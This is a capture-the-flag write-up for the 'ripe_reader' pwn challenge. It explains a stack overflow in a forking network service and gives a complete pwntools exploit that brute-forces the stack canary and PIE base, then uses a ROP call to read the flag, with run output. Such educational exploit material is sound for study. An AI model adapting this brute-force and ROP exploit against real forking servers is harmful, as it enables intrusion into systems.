200
Terminal typing images! ASCII-MAZING!
Note, this challenge WILL require you to bruteforce.
Connect here:
nc one.jh2i.com 50023
nc two.j2hi.com 50023
nc three.jh2i.com 50023
nc four.jh2i.com 50023
Tags: pwn x86-64 rop stack-canary bof
ripe_reader is a basic network service that will emit ASCII "art" from a fixed menu of four "works of art".
Each connection to ripe_reader forks a child process inheriting the parent stack canary. Three brute-forces (canary, process base 4th least significant nibble and full 48-bit address) later, ROP can be used to get the flag.
This challenge is not dissimilar to Blind Piloting. In fact, I used that code as a base for this challenge. The most significant difference is that Blind Piloting gets a unique parent on each connection and the child processes leverage that same connection. This makes for faster brute-forcing, however each failed attempt will require starting over since the canary will change. Ripe Reader provides a new child for each attempt, however the parent canary does not change; this is slower, however failed or partial attempts can pickup from where they left off as long as the servers do not get restarted.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
All mitigations in place.
There are two functions worth analyzing: selectImg and printFile.
Line 18 contains the vulnerability; recv will accept up to 0x400 bytes into a buffer (local_48) that is statically allocated for 56 bytes. However, the stack canary will detect any buffer overflow attempt and kill the child with:
*** stack smashing detected ***: <unknown> terminated
Since the canary remains unchanged, it can be brute-forced, byte-by-byte.
See Blind Piloting for a detailed example.
Getting past the canary is only the first step. There are no free leaks, so the same method to obtain the canary will need to be used (twice) to get the process base address. Once the process base address has been brute-forced, leaking libc to get a shell is next (maybe--untested); however for this challenge ripe_reader provides a printFile function that can be passed ./flag.txt--this is a lot easier.
That is a guess, BTW. Worse case, we'll have to work harder.
Checking to see if we're lucky:
# strings ripe_reader | grep flag.txt
./flag.txtYep, good guess.
- First Pass: Brute-force stack canary
- Second Pass: Brute-force process address LSBytes
- Third Pass: Brute-force entire process address
- Final Pass: ROP call
printFileto get the flag
#!/usr/bin/python3
from pwn import *
import sys
binary = ELF('ripe_reader')
context.log_level = 'WARN'
server = sys.argv[1]
port = int(sys.argv[2])
buf = (0x48 - 0x10) * b'A'
x = [i for i in range(256) if i != 10 ]
canary = p8(0)The log_level of WARN will eliminate the connection INFO messages emitted from pwntools. This can be quite annoying, esp. when you're observing the output.
server and port get set from the command line. Since multiple servers were provided, I ran against all of them in parallel.
The length of buf is the number of bytes just above the canary. The values 0x48 and 0x10 are from the Ghidra stack diagram, i.e., local_48 - local_10.
x is the list of candidate bytes for brute-forcing. Basically all bytes but \n. When the other end is using something like fgets or gets, input is terminated with \n. This challenges uses recv, which is more like read. Excluding \n is probably not necessary, but I was too lazy to read the code. I figured if there were a \n in the canary or process address and since the canary/process address would not change, I could remove and test, but I never got a failure. Anyway, it probably does not need to be there.
Lastly the canary. The least significant x86_64 canary byte is 0x00. Only 7 bytes to go. :-)
for i in range(7):
for j in x:
p = remote(server,port)
p.recvuntil('[q] QUIT')
payload = buf + canary + p8(j)
p.send(payload)
try:
p.recvuntil('[q] QUIT')
canary += p8(j)
print(hex(u64(canary + (8 - len(canary)) * b'\x00')))
p.close()
break
except:
continue
else:
print("FAILED, you prob got a LF (0xa) in canary")
sys.exit(1)
canary = u64(canary)
print('canary',hex(canary))For each of the remaining 7 canary bytes, loop through all the candidate bytes and test if the remote child gets terminated or if returned back to the menu. If returned back to menu, then that canary byte has been detected.
Locally this takes seconds. Remotely about 5-10 minutes.
bp = 8 * b'B'
selectimg = 0xe06
for i in range(16):
p = remote(server,port)
p.recvuntil('[q] QUIT')
payload = buf + p64(canary) + bp + p16(selectimg + i * 0x1000)
print(hex(selectimg + i * 0x1000))
p.send(payload)
try:
p.recvuntil('[q] QUIT')
p.close()
break
except:
continue
else:
print("FAILED, no base for you")
sys.exit(1)
procbase = selectimg + i * 0x1000
print('procbase | 0xffff',hex(procbase))
procbase = p16(procbase)This one is quick. Only 16 nibbles to try.
The last three nibbles of any function do not change. The selectImg function address ends in 0xe06; this can be observed from the disassembly. The 4th nibble however is a mystery, and is governed by PIE/ASLR.
The payload in this case will brute-force the 4th nibble by overwriting just the two LSBytes of the return address. If unsuccessful, the child will mostly likely segfault, however if successful, code execution will return to the top of selectImg. This can be detected by receiving the menu again.
for i in range(4):
for j in x:
p = remote(server,port)
p.recvuntil('[q] QUIT')
payload = buf + p64(canary) + bp + procbase + p8(j)
p.send(payload)
try:
p.recvuntil('[q] QUIT')
procbase += p8(j)
print(hex(u64(procbase + (8 - len(procbase)) * b'\x00')))
p.close()
break
except:
continue
else:
print("FAILED, you prob got an LF (0xa) in stack")
sys.exit(1)
procbase = u64(procbase + b'\x00\x00') - binary.symbols['selectImg']
print('procbase',hex(procbase))
binary.address = procbasex86_64 address are 48-bits (today). With the lower 16-bits in hand, brute-forcing the remaining four bytes is next.
The loop above is almost identical to the canary step. When complete the process base address can be computed.
At this point, control of RIP has been obtained.
context.update(arch='amd64')
rop = ROP([binary])
try:
pop_rsi_r15 = rop.find_gadget(['pop rsi','pop r15','ret'])[0]
except:
print("no ROP for you!")
sys.exit(1)
context.log_level = 'INFO'
p = remote(server,port)
p.recvuntil('[q] QUIT')
payload = buf + p64(canary) + bp
payload += p64(pop_rsi_r15)
payload += p64(next(binary.search(b'./flag.txt')))
payload += p64(0x0)
payload += p64(binary.symbols['printFile'])
p.send(payload)
p.stream()printFile requires two parameters, a socket number (RDI), and pointer to a filename (RSI). The socket number is unknown, however it is already in RDI thanks to send(param_1,"Invalid option!\n",0x10,0); (you can check this with GDB yourself).
Since we do not know the address of libc, we'll have to make do with ripe_reader for ROP gadgets--pop rsi; pop r15; ret will work nicely.
ripe_reader provides the string ./flag.txt.
We'll throw a big fat zero to R15.
All this left is to printFile flag.txt.
Output:
# time ./exploit.py two.jh2i.com 50023
[*] '/pwd/datajerk/nahamconctf2020/ripe_reader/ripe_reader'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x4d00
0x924d00
0x50924d00
0xc850924d00
0x11c850924d00
0x9f11c850924d00
0xc19f11c850924d00
canary 0xc19f11c850924d00
0xe06
0x1e06
0x2e06
0x3e06
0x4e06
0x5e06
0x6e06
0x7e06
0x8e06
procbase | 0xffff 0x8e06
0x3a8e06
0xff3a8e06
0xd0ff3a8e06
0x55d0ff3a8e06
procbase 0x55d0ff3a8000
[+] Opening connection to two.jh2i.com on port 50023: Done
Invalid option!
flag{should_make_an_ascii_flag_image}
real 10m43.063s
user 0m3.230s
sys 0m0.923sTimes of other runs: 15m50.392s, 12m27.560s, 10m52.456s
In that case, we'd have to leak a stack address and then put ./flag.txt on the stack. See exploit2.py for an implementation.
There are a few challenges with leaking the saved base pointer (rdp):
- Brute-forcing what-will-be-popped into
rdponleavemay not fail as quickly as brute-forcing the canary or return address. In the later cases the connection is dropped quickly, for a quicker check, whereas a corruptedrdpmay not crash the program--a timeout may need to be used to detect failure. - The length of the timeout. Locally 0.1 seconds worked consistently. Remotely with 0.5 seconds only 1 of 3 tests passed.
- Many
ripe_readerrunaway processes is a byproduct of this bruce-force, slowing down the challenge server.
There's one last issue that I've not had the time to analyze yet. The distance from stack leak (rbp) to the start of the input buffer is either 68 or 176 depending on the value of the least sigificant nibble; if 0, then the distance is 176, otherwise 68. IIRC, the nibble was either 0 or 4, I do not recall, in any tests, any other value. Checking all my results, the probably of a 0 was 75%.
Output:
# time ./exploit2.py two.jh2i.com 50023
[*] '/pwd/datajerk/nahamconctf2020/ripe_reader/ripe_reader'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x6600
0xbb6600
0xe5bb6600
0x59e5bb6600
0x3c59e5bb6600
0x283c59e5bb6600
0x8b283c59e5bb6600
canary 0x8b283c59e5bb6600
0x30
0xb530
0xdbb530
0x24dbb530
0xfe24dbb530
0x7ffe24dbb530
rbp 0x7ffe24dbb530
0xe06
0x1e06
procbase | 0xffff 0x1e06
0xfc1e06
0x5afc1e06
0x605afc1e06
0x55605afc1e06
procbase 0x55605afc1000
buf 0x7ffe24dbb480
[+] Opening connection to two.jh2i.com on port 50023: Done
Invalid option!
flag{should_make_an_ascii_flag_image}
real 27m25.714s
user 0m4.633s
sys 0m1.342s